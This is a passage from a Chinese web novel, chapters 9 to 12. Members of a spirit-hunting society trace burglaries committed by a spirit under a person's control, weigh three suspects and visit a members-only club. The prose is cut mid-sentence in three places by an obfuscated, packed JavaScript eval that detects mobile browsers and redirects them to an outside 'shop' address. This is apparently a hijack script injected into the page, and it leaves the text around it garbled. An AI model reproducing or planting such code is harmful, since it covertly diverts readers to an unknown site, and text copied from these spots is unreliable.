“还是有事的。”安格森叹了一口气,靠着门框慢慢滑坐在了地上,“这可是我进入物零社的第一天,你们这入职‘礼物’也太隆重了吧。” “别坐下,事情还没完呢。”林睿雅一边一把拉起了已经坐稳了的安格森,一边看向黎子鸣:“两位还不能休息,跟我去办公室说下具体情况,调查这魑魅是从哪进来。” 9. 盗窃 连下几天雨后,好不容易晴朗的早晨,警察局内却十分的热闹。 “警察大哥,你一定得信我啊,我说的都是真的!你们一定要帮我把东西追回来,那是我半辈子的家产啊!” “王先生、王先生,您先别激动。”穿着笔挺制服的警察安抚着激动的报案人,“你慢慢说,我们肯定会帮助你的。” 警察看了眼报案的记录,报案人称自己放在家里的金条被偷走了,而他目击到了小偷的模样,只是在这报案人口中的小偷,似乎不是什么正常玩意儿—— “是鬼!就算不是鬼!那东西也绝对不是人类!” 虽说这位激动的王先生一直在恳求警察们信赖他,但他说出来的话,好像确实不太能让人相信。 “先生,您先冷静,您仔细回想一下,那天晚上你看到的真的不是人影之类的吗?” 王先生的面庞充满了惊恐和焦急:“绝对不可能是人!我的防盗窗间隙只有十厘米,人怎么可能进来!” “您查看防盗窗的情况了吗,有没有被破坏的痕迹?” “没有,没有!”王先生的那些情绪好像在一瞬间转成了愤怒:“我说了我看到了!没有人会从缝隙里飘进来,卷起我的金条后再从缝隙里飘出去,你们还是不信我啊!” 警察小哥有些尴尬地说:“先生,这不是我们不信啊。”他很想说,只是你说的这些也太离谱了,着实是让他们很难相信。 但是没等他这样说出来,就有人过来打断这次问询。来人看上去年纪要大很多,也要老成很多,这是这位年轻警察的上司。上司把警察小哥叫到一旁,说了几句话,警察小哥闻言从这里离开,离开时脸上还带着一些疑惑。王先生一看负责的警察走了,顿时又开始慌张和焦急,他想去质问为什么把负责的警察支走,却转头看见新来了两个人。 林睿雅穿着藏蓝色的休闲西装,长发盘在脑后,手上拿着文件夹,坐到王先生的对面。 跟在她旁边的男生叫苏佑容,这位也是这一届里数一数二的高材生,先前做模拟系统测试的时候,就是他和林欣予一起在外界运行系统和分析数据。他倒是没林睿雅穿得那么正式,只是穿了一件简单干净的白色运动服,戴了副黑框眼镜,甚至还有点驼背。 对面的女生看起来十分干练,一幅很可靠的样子,只是在警局里面,再可靠的模样也比不上一身警服。看到两人毫不犹豫地坐到自己对面,王先生向一旁的老警察投去疑惑的目光,老警察好像也有些迟疑,但半晌过后还是说:“这两位是我们的特聘顾问,您不用担心。”说完这句话,老警察居然推门出去了。 “你好,王先生。”紧接着,林睿雅摊开笔记本,拔开笔帽,“这个案子后续由我负责,麻烦您再从头叙述一遍自己的遭遇吧。” 事到如此,王先生好像也只能暂且相信眼前的这两位,所以他开始从头叙述自己所看到的一切。 “那天大概晚上十点,我加班回家,洗漱后就睡了……” 王先生对那天发生的事还记忆犹新。估计是因为还有没做完的工作,所以他睡得也不踏实。凌晨三点钟左右,他被窸窸窣窣的声音吵醒了,声音是从窗户那传来的,他以为是窗户没关严,风吹进房间里吹动窗帘产生的声音,于是就走上前去想把窗户关上。那奇怪的东西就在此时被看到。 “那时候我房间里的抽屉已经被打开了,那玩意拿走了我抽屉里的金条。那东西是黑色的,我看的其实不是很清楚,像黑色的烟一样,总之我就看到金条被黑烟环绕着,飘起来从窗户缝飞出去了!” 林睿雅在纸上记录了几个关键词,片刻思考过后,她询问王先生:“除此之外,那缕‘黑烟’有做其他事吗?比如是否有让您受伤?” 王先生使劲摇头:“没有,我看到以后就没敢靠近。” 询问暂时告一段落,其实没什么内容,普通人看不见魑魅,这位王先生应该是具有一点灵力,所以才能看见一些魑魅的影子,所以眼前才出现了这样诡异的一幕。 “你能确认这就是魑魅吗?”苏佑容翻看着手里的资料:“这不符合魑魅习性啊,对人类的本能攻击欲望消失了,反而去……盗窃?它们要钱又有什么用呢?” “但在目前,只剩下魑魅这一种可能性了。”林睿雅翻出了一些其他的资料:“这一个月以来,市里没有破获的偷盗案一共有15起,除了王先生看见了一些东西以外,其他人皆称没有发现任何入室痕迹,财物突然就消失了——这还是报了案的,说不定还有很多人没发现自家东西被偷了。除了没有攻击人类以外,其他的种种迹象都指向了魑魅的特征。” “所谓的‘当排除一切不可能,剩下的无论多不可思议,都是真相’是吗。”苏佑容引用了一句某著名推理小说的名言,随后开始沉默不语。 林睿雅见他这个样子,颇有兴趣的挑了挑眉:“看你这样子,是想到了什么?” “没有!当然没有!”一听这话,苏佑容连忙摇头加摆手,开始快速收拾自己放在桌上的设备:“啊,我现在完全一头雾水,根本搞不懂什么情况!对了对了,我今天下午还有课呢,你只是叫我过来帮忙记录资料来着,刚刚的所有笔录我发你微信哈!” “嗡嗡。”话语刚落,林睿雅放在桌子上的手机就震动了两声,屏幕亮起,产生的消息提示正好是苏佑容发来的资料包。 他这番话意思倒也明显,自己“不知道”也不想掺和这件事,让林睿雅没事别找他、不、有事也别找他! 遗憾的是,他拙劣的表现似乎骗不过林睿雅这种见多识广的人,她挑挑眉:“我看你好像看出了许多东西,这件事情直接交给你负责怎么样?” “啊?”苏佑容收拾东西的双手一顿:“我真不懂啊,别交给我啊,这么重要的事,我虽然看不懂,但肯定是非比寻常,我们物零社上上下下那么多有才有智的优秀人士,怎么犯得着我一入学一两年的学生啊!您看这要是出了什么差错,那不止是毁了我们物零社的名声,更是威胁了广大人民群众的财产安全!我也不是因为麻烦所以不想做,实在是为了大局着想。姐,您再想想,你看我们本届首席黎子鸣,还有令妹林欣予,这俩加在一起可谓是文武双全啊,咱们把任务给优秀的人,最后把任务圆满完成,岂不是可以名利双收吗!” 这段话不可谓不流畅,几百字下来那是一个停顿都没有,花里胡哨的说了一通,字里行间全是“别找我”三个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17101177|195718||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 大字。 只可惜一物降一物,林睿雅自然有收拾他的方法:“是这样吗?可惜了,你父亲前几天专门联系了我这,说想让儿子多接触一下魑魅相关的事,要是他老人家知道你面对着绝好的机会却拒绝了,估计会生气吧。” “你……”很明显,这几句话确实戳他肺管子上了。无奈之下,苏佑容只能举手投降:“你赢了。” “那现在来说下你有的看法吧。”林睿雅说:“我可以根据你目前的计划,给予零社这边能给予的帮助,包括你前面说的那两个人,我可以吩咐他们去给你打下手。” 苏佑容长叹了一口气,听林睿雅这笃定的语气,自己确实看出了什么、并且已经有了可以实施的计划这件事,她怕不是一开始就看出来了。 无奈之下,他只能把自己想到的全盘托出:“从目前的情况来看,确认实施偷盗的是魑魅的话,背后肯定有人类存在。” “按理来说,魑魅本身不属于高智生物,之前所记载的也均是对人类有极高攻击性的魑魅,而目前案件里,目击者所阐述的魑魅则是行动有条理、有目的性的状态,这只能说明一点——魑魅是被人操纵的。” “包括前几天,那只魑魅入侵物零社那件事,想要进入学校,势必要经过门口的保安室。保安大爷是普通人,看不见魑魅,所以魑魅并没有惊动保安就进去了,这也说明一点,在进入学校的时候魑魅还处于被操纵状态,并没有对人类进行攻击。而当它到达物零社教学楼的地下楼层时,因为某些原因,可能是黎子鸣那离谱灵力的影响,导致魑魅的操纵被断开,所以当时魑魅对黎子鸣和安格森老师发起了攻击。” “结合市区里发生的盗窃案看,这个人操纵魑魅一直在窃取一些东西,我很难不怀疑这是在刷经验,作案者很可能也是刚刚掌握操纵魑魅的方法,他想熟练以后干一票大的,而这票大的就是在物零社里面偷点什么东西。你也知道,地下一层除了训练场,还有机密资料库。” “上次入侵失败以后,这个人以为是自己的熟练度不够,所以他/她又开始在普通民众的家里练手,后续很有可能还会试图把魑魅往物零社里面塞。” 林睿雅点了点头:“不错,那你接下来打算怎么做呢?” “能操纵魑魅,肯定是有灵力的除魅师或者附魔师,而这么熟悉物零社的内部结构,则很有可能是在社里待过的人。而偷窃的物品均为财物,可以判断此人经济状况应该不算良好。所以要我做的话,我会先从物零社相关的人查起,重点调查目前长居申海市,不在物零社内部,离开物零社以后没有工作,或者工作收入低的人。锁定小范围目标后,再调查这其中有没有人存在最近突然花销增加的状况。如果这一结束后查不到人的话,再扩大范围调查与物零社无关的除魅师。” 把这件事交给苏佑容确实是个正确的选择,这孩子不再装了以后,马上就捋清了事件,点出了事件中的突破点,并且提出了可行度很高的计划。能够在各项笔试测试中包揽第一的学生,确实也有真功夫。 “所以,你现在需要的是——” 苏佑容推了推平光眼镜:“物零社有关的全体成员名单,我会把符合条件的人筛选出来。” 10. 嫌疑人 “过分,这简直是太过分了!” 苏佑容狠狠地握拳砸下桌子,差点震翻桌上的茶杯,巨大的响声引得周围人纷纷侧目,他这才收敛一点,压低声音继续向黎子鸣吐槽。 “林睿雅和她妹妹可真是亲戚,使唤人的德行都一模一样!” “还好吧。”黎子鸣在苏佑容拍桌子之前就迅速拿起自己的杯子,此时正端着杯子喝咖啡,“我也收到消息了,这事情办完是给加综测分数的,加的还不少呢,等期末评奖学金——不过你好像不太需要奖学金?” “重点不是奖学金吧!”苏佑容又拍了拍桌子,这次力度倒是轻了很多。 不过他确实不需要奖学金,说来也是离谱,苏佑容是个实打实的富二代,家里有一家营收很不错的公司,不仅能保证他吃喝不愁,甚至能支撑他花天酒地。而且他家里和物零社本身也有些渊源,这也是为什么他父亲会直接来叮嘱物零社这边,让他多参与这些事情。 黎子鸣又开始吃桌子上的蛋糕:“说实话这种又能加大量学分、又能积攒实践经验的项目,别人想求都求不来,也就你嫌弃这些。” 但苏佑容可不管那些看上去是在安慰他的话,他旁若无人地把自己的诉苦继续下去:“我靠,你知不知道我这要筛查多少资料?初筛完还有一千多人的信息,我还需要去一个一个查这些人目前的经济状况,这工作量也太大了!” 黎子鸣沉默了一会儿,然后道:“说白了你就是想拉人陪你干活儿呗,没问题啊,不都说了你可以吩咐我们去打下手吗。” “啊,确实需要你打下手,不过估计是等把人揪出来以后,抓人的时候需要你动手。”然而苏佑容话锋一转,“但现在这个阶段,你来我怕你拖后腿。” “……”黎子鸣一口气喝完了面前的咖啡,站了起来:“那你加油,我告辞了。” “别啊、先别走!”苏佑容也连忙站起来想拉住黎子鸣,但两人之间隔着一张桌子,他站起来拉人必须得弯腰伸手,这动作一大又碰翻了他自己面前的茶杯,杯子里的红茶洒了一桌子。与此同时,他也成功拉住了黎子鸣的衣角,保持着这样一个微妙的姿势,两人又引来了店里其他顾客的纷纷侧目。 “咳。”苏佑容有些尴尬的假咳了一声,“别走啊哥,对不起嘛,我开玩笑的,我还是需要人帮忙的。” 这人就是这样,明明可以好好说的一些事情,但他好像不犯那个贱他就不舒服,真把人惹毛了又马上开始滑跪道歉,或许某种意义上也算是能屈能伸? 很明显,黎子鸣不擅长对付这种人,所以他又被拉回来坐下。说实话,要不是苏佑容说今天他请客,黎子鸣自己根本不会来这种价格高昂的店。 “你最近见林欣予了吗?”苏佑容问他,“我这确实缺人手,如果目前筛查出来的人都不符合条件,那我的工作量就会几何倍的增长了,我需要她来帮我完善程序……但她最近一直不回我消息,我也没在学校看见她人。” “她有事。”黎子鸣回复的很快:“前几天我拿到这个消息的时候也找她了,但她说她最近有别的事,所以暂时不参与这个。” 黎子鸣想了想,又补充了一句:“但她还说,如果有具体的嫌疑人人选了可以告诉她,她可以帮忙抓人。”他突然看向苏佑容的眼睛,认定了什么似的点了点头:“嗯,看来她也不想在你手底下干活儿。” “后面那句多余了……” 话音刚落,苏佑容的手机响了起来,看到手机屏幕上显示的名字,他的脸一下子就垮了下来。看这样子就知道对面是谁,只见他很不情愿的接起电话,很敷衍的“嗯”了几声,说了一个“好”,飞速地结束了通话,然后黑着脸对黎子鸣说:“林睿雅让我去汇报工作。” “那你快去,记得买单。” “她还让我带上你。”苏佑容顿了一下:“这货怎么知道我和你在一起的?不会在我身上装窃听器了吧!” ………… 物零社的教学楼二楼,这层上来的第一个房间就是林睿雅的办公室。苏佑容嘴上骂骂咧咧地说着不乐意,但是让他汇报工作,还是很快的过来了。 此时,他正站在一块白板的面前,手上拿着刚刚打印的资料,现场的氛围有点像是影视剧里面标准的刑警开会的样子,只不过现在的“会议室”里只有三个人。 林睿雅和黎子鸣坐在白板的正前方,一幅洗耳恭听的样子。看苏佑容那差不多准备好了,林睿雅道:“开始吧。” 苏佑容手上拿了几个磁铁,将三A4纸分别贴在了白板上面,纸上是三个人的照片,以及他们的一些基础情况介绍。他一边贴着这些资料,一边已经开始汇报了:“我大概筛查了一遍物零社有的除魅师资料,目前这三个人是嫌疑度最高的。” 你这不是已经筛选完一千多条资料了吗!黎子鸣在心里默默的吐槽了一句。这货在咖啡厅跟他哭诉了一个多小时的工作量大,但现在看来他不是已经一个人把这些都干完了吗,那说个鬼啊! 吐槽归吐槽,但这话明显不是现在能说的,所以苏佑容把他看上去煞有其事的报告继续了下去。 “第一个,杨莹莹,女,28岁,刚毕业没几年,目前有工作,但是收入水平不高。调查信息后发现她目前背了58万的网贷,具体原因不清楚,但以她的家庭能力来说,偿还这种数额的贷款会比较困难。值得一提的是,她一周前突然一次性还贷了50万,这笔资金的来源暂且不明,而上周王先生失窃的金条,换算成人民币刚好是50万左右。所以我把她列出来了。” “第二个,徐贺,男,32岁,上一份有记录的工作是在五年前,被开除后就没有再正式工作过了,目前是无业游民,收入来源不明。”苏佑容重点标注了一下这个人,“他是我目前觉得嫌疑度最高的,主要是因为他之前有案底。” “五年前,这个人被抓过,是在一个高档会所里面,原因是参与赌博,是一个小老板自己开设的赌局,参与人数和金额都不大,所以他被拘了十天后就放出来了,他当时被公司开除也是因为这个事情。后面又在扫黄打非行动里,他又在高档会所被抓过一次,拘留十五天。那个会所我查了,是不太干净,而且消费很高,徐贺在前几年是这个会所的老顾客,失业之后经济条件变差,后续几年去的就少了,而这两年他完全没有出入过这种场所。直到上个月——他又开始在那家高档会所消费,频率几乎是三天一次,而他重新去消费的那天,刚好是神秘盗窃案发生的第二天。” 不得不说,这位仁兄像是把“我是犯人”几个大字写到自己脸上了,种种迹象加起来,他都很符合条件。甚至感觉现在已经没有再看第三个人的必要了。 但苏佑容这儿找都找了,总结都总结了,这第三位的信息也就还是看一下吧。 “第三个…呃…这位其实有点奇怪。”苏佑容犹豫了半晌,才说出了这句话。 确实,从张贴在白板上的三张资料纸上,就可以看出来不对劲了。前两位都是有名字,有详细的资料,有一些基础的履历。而最后这位,仅仅只有照片和一个名字而已。 “秦竹一,29岁……如果他还活着的话,那就是29岁。” “他在物零社只呆过一年,18岁入学,19岁退学肄业,之后人间蒸发了。目前行踪不明,生死不知。” 贴在白板上面的资料,是一张略微模糊的照片,照片里的人看上去十八九的年级,留着稍微有点长的黑色长发,细碎的刘海有些盖住眼睛。黎子鸣看着照片,突然觉得这人有点眼熟,总感觉在哪见过,但他现在更想知道的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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林睿雅好像一直都很忙,嘱托完这两句以后,她就拿上包离开,只留下苏佑容和黎子鸣在办公室里,临走时还让他俩记得把办公室的白板恢复原样,所以黎子鸣现在正在擦白板。 他取下了白板上的三张资料纸,越看越觉得那个秦竹一很眼熟,但一时半会儿又想不起来在哪见过,于是他开始问苏佑容:“你不觉得这个人很眼熟吗?我总感觉我在哪见过他,就最近这段时间。” 苏佑容不以为意:“那你想想你最近去了哪见了谁呗。” 于是黎子鸣开始回忆自己这几天的行程,但是思来想去,还是没有个结果,只能就此作罢。 “对了,”苏佑容突然想起来,“到这个阶段可以去叫林欣予了吧,她不是说有结果了她能帮忙吗?” “啊,这件事的话……”黎子鸣翻出了他的通话记录,赫然显示着他和林欣予五分钟前的通话记录:“之前我和她一直开着通话来着,所以你刚刚的汇报她都知道了。” 怕引起误会,黎子鸣又补充了一句:“提前跟睿雅姐说过的,她同意了。” “……合着就不告诉我是吧。” “那你不是在汇报吗,我又不能打断你。” 如果现实世界能发表情包,那苏佑容现在绝对会顶一个流汗黄豆在自己头上。 ………… “杨莹莹,徐贺。”林欣予看着手机上,苏佑容发来的详细资料,小声念叨了一下这两人的名字,随后看着第三份资料的名字沉默了。 半晌后,她选中前两份资料,把它们分享给了另一个人,并留言了一条消息:“先查这两人,务必在物零社之前把人找出来,把技术拿到手。” 看到对面回复的“收到”之后,林欣予退出了聊天页面,退出后又看到了什么,所以她又点进了刚刚的聊天页面,进入了对方的主页里。 随后,她选中了她给对方的备注,将“秦竹一”三个字删去,换成了一个数字“七”。 11. 会所 泊云会所,在申海市算是个小有名气的会所,当然,这个名气多少有些不干净。这地方的装修极其金碧辉煌,一进门就是个圆形的大吊顶,像是一个五星级酒店的大堂。 不过在黎子鸣手里的资料中,这个会所只有一句话简介——“嫌疑人徐贺常去的会所。” 如果能再在资料里加一句“这个会所是会员制,需要会员才能进入”就好了。 当黎子鸣被无情地拒绝在大门口外的时候,他是这样想的。 不过好在,他不是完全没有办法,只是这个办法要去请求一些他不太想求的人。但其实也不算是去求那个人?毕竟这本身就是他的活儿,自己只是被拉来帮忙的,所以这也是那人本就该干的事。 给自己心里一顿疏通,黎子鸣迅速叫来那个名为苏佑容的富二代。所以刚刚一脸嫌弃把黎子鸣赶出去的服务员,此时就正簇拥在苏佑容旁边。 “苏少爷,哎呀,大驾光临啊。”现在簇在苏佑容最前面的是服务员摇人摇来的大堂经理:“令尊可还安康啊?苏总可是好久没来咱们这儿了,啥时候让老人家也来坐坐?” “这个嘛……”苏佑容装模作样地摸摸下巴:“你们今天把我伺候好了,我说不定可以把我和我朋友不错的消费体验跟家父描述一下。”此时,他还着重加重了“和我朋友”几个字的读音。 这句话的潜含义不能再明显,大堂经理一下子转身凑了黎子鸣面前:“哎呀这位先生,刚刚多有得罪了,咱们这给您送份小礼品补偿一下,还有刚刚…对,就你!刚刚是你把这位先生赶出去的是吧,赶紧跟人家赔礼道歉!真是对不起啊先生,您怎么称呼啊?” 这下轮到黎子鸣不舒服,他看着面前的大堂经理跟变脸似的,一边满嘴脏话地训斥服务员小姑娘,一边又堆着谄媚的笑跟自己套近乎。旁边的小姑娘鞠着躬不断跟自己道歉,颤抖的身体已经让她的恐惧昭然若是。 “我……” “我这个朋友比较内向,不太爱说话。”苏佑容也看出了黎子鸣不适应这样的人和环境,干脆直接接过话茬,对大堂经理说:“你给我们找个安静的地方,有些事要问你,其他的客套免了。” 大堂经理愣了一下:“好嘞好嘞,没问题!” 两人跟着那位经理,走到走廊最深处的包厢,包厢很大,能容纳二三十人,除了标配的卡拉OK以外,还摆了一整个台球桌,旁边还有个七八十寸的电视显示屏,下面连接着PS5。 有钱人真会玩,黎子鸣心中暗暗吐槽了一句。 大堂经理表现的欲望十分强烈,带两人过来以后,又是要给酒又是要给陪玩,不过这些全被苏佑容回绝了,但这经理依旧不依不饶,直到苏佑容来了一句“你见过谁大白天来玩这些的?”,这才消停一点。 “我们就来打听个事情。”苏佑容用手肘戳了戳黎子鸣:“你问。” 于是黎子鸣把手机里徐贺的照片给大堂经理看:“这个人你认识吗?他叫徐贺,应该是你们这常客了。” 没有任何犹豫地,大堂经理看到照片第一眼就表现出了认识这人的反应:“认识、当然认识。这人是常客了,几年前就经常来,不过两三年前有几次在我们这赖账,本来都被拉黑了,结果最近好像又有钱了,所以我们又把他会员身份恢复了。” “那你知道他是从哪搞来的钱吗?” “听他喝酒吹牛的时候说,好像是在做运输销售方面的生意,挺赚的,他最近这一个月暴富。” “那你有在他这看到什么异常吗?” “异常?也没什么异常啊……”大堂经理想了想,然后突然想起了什么:“他好像很宝贝一支钢笔,不是什么牌子货,就是路边三四块一支的那种老式墨水钢笔,之前还拿出来给我们炫耀说,这就是他吃饭的家伙,意义不明。” “……我这暂时没什么要问的了。”黎子鸣朝着苏佑容示意。 苏佑容挥了挥手,把大堂经理从包间里赶了出去,转头开始跟黎子鸣汇总信息:“你觉得这个人怎么样?” “我觉得有六成,他就是那个小偷。”嘴上说着六成,但黎子鸣笃定的语气像是有十成的样子:“运输销售,说白了不就是偷了别人的东西,再拿到别的地方销赃吗。” “我也这么认为。”苏佑容点了点头:“杨莹莹那我也查了,不是她。” “哦,怎么说?” “她现在都不在申海,她人在马尔代夫度假。原因是她有个女性朋友邀请她去,而她女朋友前不久继承了一笔巨额遗产,你懂的。” “懂了。” 黎子突然也希望自己身边的朋友暴富,又发现面前这个性格恶劣的家伙好像就是个富二代,似乎也没有为他带来什么富贵的生活,倒是很会差遣人…… 正当他这么想着的时候,那个大堂经理又敲门进来,手上还拿着一个包装精致的礼盒:“哎呀先生,这是前面说给您赔礼道歉的小礼物,您收好哈。” 黎子鸣倒是也没推辞,在大堂经理离开后,他打开了这个礼盒,里面是一条皮带,而上面的logo,分明是某知名奢侈品牌的标志。 “是真货。”苏佑容见这类东西见得多,一下子就能分辨出真伪。 和苏佑容结识两三年,这是黎子鸣第一次体会到有个富二代朋友该有的感受。不过他向来对名牌什么的没有太大的兴趣,所以他看了一眼以后又把盒子合上,开始与苏佑容讨论下一步该怎么做。 “我们接下来怎么做?感觉这种事情,也没有办法直接去抓人吧。” 苏佑容点了点头:“确实如此。” 他们现在最缺少的,其实是证据。 以目前断定的“人操纵魑魅进行盗窃”作案方式来看,根本无法留下任何可以用现代刑侦手段发现的证据,自然也无法以此来查案,哪怕抓住了人,也没有法律可以留住这人,到了规定的时间,警察局还是得把人放了。 最致命的是,如果现在去抓人,很有可能打草惊蛇。这人如果胆小一点,以后不再干这种事,可就追不回之前失窃的物品;更怕这人要是疯一点,操纵魑魅去大街上作乱,那可就是彻底完蛋了。 所以现在,抓人肯定不能抓。最好的方法就是,等待他下一次作案,直接抓一个现行。而他下一次什么时候作案、在哪里作案,这还需要他们收集更多的信息。 “看情况,我们是不是还是得和徐贺直接接触一下。”黎子鸣提出这个建议。 很恰到好处地,那位大堂经理又敲响了他们包间的门,带来一条信息:“苏少爷,那个徐贺是惹了您吗,我刚发现他预约了今晚的派对活动,需不需要这边帮您教训他一顿?” 好机会。苏佑容和黎子鸣心里同时想到,真是说曹操到曹操到,和徐贺接触的绝好机会这就来了,以苏佑容的财力参与这样的派对酒局并不突兀,而且以两人大学生的身份,也不会引起徐贺的警惕,这样一来,说不定今晚就可以从他口中套出一些关键证据来。 苏佑容敷衍那经理几句,把他推出房门:“不用不用,你们可别动他,那人我要亲自收拾。” “话说睿雅姐那问的怎么样?”黎子鸣突然想起来,“那个叫秦竹一的人,她不是去问社长了吗?” 苏佑容回答他:“我也不清楚,不过她既然没给我这边回复,要么是没问到什么东西,要么就是问到了什么我不能知道的东西。” 他接着说:“先把我们这边的情报汇总过去吧,接下来的行动要交给学校定夺了,那就不是我们能擅自行动的事情了。对了,林欣予那你通知她一下?” “好。” …… 就像苏佑容推测的那样,林睿雅这里确实还没查到什么东西。她通过自己的权限去翻找了物零社的资料档案,但这其中关于那个名叫“秦竹一”的学生的,寥寥无几。并且,关于他所剩不多的资料,也充满蹊跷。那些资料像是被人筛选过、删除过很大一部分,现在所呈现出来的,都是写极具片面诱导性的东西。让这个人的存在更加扑朔迷离了起来。 或许真的只能去问社长了,如果可以的话,她其实不是很想麻烦这位忙碌的领导。 “秦竹一?”当夏峰社长听到这个名字的时候,流露出了明显的惊讶:“为什么会突然来问他?” 林睿雅整理了一下思路说:“和最近那个盗窃案有关……” 她思路清晰,用短短几句话就给夏峰解释清楚这件事,包括苏佑容那里是怎么查到这个人的,她后来在翻阅资料的时候又发现了什么端倪,而这些,她都希望能在夏峰这里得到解答。 听完这些事情以后,夏峰也是沉默了一会儿,似乎接下来的话有点难以开口,需要他好好斟酌一下用词。半晌之后,他才开口说道:“你们不用怀疑他了,因为他已经死了。” “死了?”虽然早有猜测,但真听到这个事实的时候,林睿雅还是有些震惊。 “这个事情也是说来话长。”夏峰喝了一口茶水,为接下来的故事进行铺垫,“你知道皂竹山十年前发生的道观火灾吗?” “有所耳闻,我记得好像失踪了几人,死亡了几十人。” “秦竹一就是皂竹观培养出来的人,这些道观本身有着自成一体的培养体系,一般来说不会把人往物零社送的。不过他那一代的领导人很开明,或许也是因为道观逐渐衰落的原因,他把那边几个优秀的学生都送来我们这做了交换生,秦竹一就在其中。” “他在物零社呆了一年左右吧,暑假的时候他回道观,结果就遇到了那场火灾,再也没回来。” “火灾的原因呢?”林睿雅问。意图也很明显,能对这些能人异士造成这么大伤亡的火灾,怎么看都不像是普通的火灾。 “根据官方的调查说,是有香客在山林里抽烟,结果点燃了干枯的落叶。但行里的也知道,事情不会这么简单。然而 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17101179|195718||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 当时的场地都已经烧干净了,找不到什么线索,所以这件事最后只能不了了之了。” 这件事已经过了快十年了,现在说起来,对于这个学生的一切他依旧记忆犹新。夏峰有些无力地靠在办公室的座椅上,长叹了一口气:“想来也很可惜,他曾是我见过最优秀的学生。” “比黎子鸣还优秀?”此时,一个男人的声音从门外响起。 “……”林睿雅转身拉开了门一条门缝“安格森·谢尔塔斯,你什么时候来的?” “从你们讲火灾那里开始。”安格森用力把那条门缝撑大一点,侧身挤了进来:“看你们讲故事挺投入,我就没打扰。” 林睿雅的脸色看起来不太好:“偷听可不是好习惯,要知道有些信息不是你能……” “怕我听到一些我这个级别不能听到的东西?”安格森上前了一步,掏出什么:“那你们应该找个隔音更好的房间,而不是责怪我这个恰巧有事要找领导的人。” 他从衣服口袋里拿出的是一个移动硬盘,硬盘上刻着一个烫金字符——“α”。当林睿雅看到这个硬盘时,表情明显复杂起来,而安格森则把这个硬盘在她眼前晃了晃:“况且我认为,既然都把这个文件交到我手里了,想必我的‘级别’已经不低了吧。” “好了,安格森,有事说事。”终于,夏峰叫停了火药味渐浓的两人。 “没什么事,就是来还硬盘的。”安格森摊了摊手,把那个硬盘放在了夏峰的桌子上,“加密程序我全都更新了,你可以找人再检查一遍,后续有问题再跟我说。” 说完这句话安格森就赶紧溜走,虽然刚刚耍帅说了那几句话,但现在林睿雅看自己的眼神像要杀人一样,所以为了不挨揍还是先跑为上。 等安格森走远之后,林睿雅终于忍不住愤怒,她猛地拍了一下夏峰的桌子—— “社长,α怎么能给一个外人看!那可是物零社的……” “淡定点,他也不是外人,他已经加入物零社了。” “不是加不加入的问题!”林睿雅的声音一下子加大了,似乎是意识到这个房间隔音不好,下一句声音又减小了许多:“社长您难道就已经完全信任他了吗?一个履历中有众多疑点的外国人,加入零社一个月不到就能接触到这种级别的机密文件,就算不谈信任问题,也根本不符合规定!” 夏峰沉默,说白了,他也不是完全信任这个突然出现的外国人,但是有些事情不以他是否信任决定。所以他安抚着林睿雅说:“我不重要,重要的是,老先生很信任他,并且很重视他。” 这下轮到林睿雅愣住了:“老先生?您是指创始人吗?” “对,当初让我们去找他是老先生的意思,极力让他留在物零社是老先生的意思,把α文件交给他加密,也是老先生的意思。”夏峰又抿了口茶,“别问我他是什么用意,我也不知道。” 事已至此,再说下去,也没什么好说的了。 林睿雅的手机响起了几声消息提示音,她拿出手机一看,是苏佑容发来的:“我先走了,苏佑容那边有了新进展,我去看下他那边怎么说。” 夏峰点了点头,心里又开始想秦竹一的事情。安格森那句“比黎子鸣还优秀?”虽然他没有回答,但他认真想了这个问题。如果秦竹一还活着,那他或许是比黎子鸣更加优秀的学生。而这个曾经在物零社中流传过的人物,未来也只能存在于传说之中。 …… “黎子鸣那边打算今晚去套情报,你怎么打算?”电话那头传来一个女生的声音,是林欣予的声音。 他清点了一下包里的装备,侧头的时候蓝牙耳机有些往下掉,所以他又伸手扶了一下:“今晚动手呗,在徐贺去那个会所之前,抢在他们前面。” 他看向街对面,那是申海城中村里的一座小楼房,楼房里的房间全是出租用的,而其中有一个租户,名字叫“徐贺”。 林欣予顿了一下:“最近注意一下周围的人,我姐姐在查你,别暴露身份了。” “查我?查我干什么?”他有些疑惑,不过似乎也无所谓的样子:“不过她估计查不到什么东西,档案那些我都收拾干净了,她就算去问夏峰也问不出什么。” “那你小心点,对面手里很可能有魑魅。” “没问题的。”这么答应着,他挂断了电话。 魑魅?魑魅有什么需要小心的?他可是见过一些更加不得了的东西…… 街道对面的小楼房,有个人刚刚走出,那正是照片上的徐贺。说来离谱,自己当年在学校好像还见过这人,应该算是大自己几届的学长?不过都不重要就是了。 “不得不说这一届的几个小朋友挺聪明的,这么快就锁定对象,倒是省了我不少事。” 他自言自语地说着,迈步朝着刚出门的徐贺走去。 “不过不好意思啊,你们在意的那些规章制度,死人可不用遵循。” 12. 拦截 根据大堂经理给出的消息,徐贺预约了参加今天晚上的派对活动,但此时派对活动已经开始一个多小时,在这里蹲点的几人依旧没有发现徐贺的身影。 “什么情况?”苏佑容有些焦急地看着时间,“按照之前的情报来说,徐贺在这种活动里一向不会缺席。” 